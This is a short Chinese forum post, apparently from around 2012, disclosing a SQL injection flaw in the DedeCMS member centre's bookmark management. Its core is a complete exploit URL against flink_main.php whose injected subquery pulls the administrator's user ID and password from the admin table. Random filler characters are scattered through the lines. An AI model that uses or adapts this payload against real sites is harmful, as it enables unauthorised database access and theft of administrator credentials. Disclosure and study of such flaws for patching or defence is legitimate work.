DedeCMS会员中心SQL注射漏洞* |6 G& u- u0 R8 [: [5 S9 y
需要magic_quotes_gpc = Off9 C4 F& x% W# A4 M
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
7 [2 w: w/ t% F) D6 T+ ? P
: a3 Z, \$ _; T# d5 i+ {) [# hDedeCMS会员中心书签管理SQL注射漏洞: P0 `# P/ I0 u' m9 ?& c0 d- X0 R
成功利用该漏洞可获得管理员密码
& t3 m% W+ X+ t6 {" B
* V1 Q% v1 S1 Y* t- X i( J会员登录后可以执行SQL语句查询数据库任意内容如管理员密码: t2 w L7 H+ X) P. F/ D( ?
0 ]8 r* D1 x9 ?* U: ahttp://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r% E/ F0 c( |9 a6 m* |5 b: h
|
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59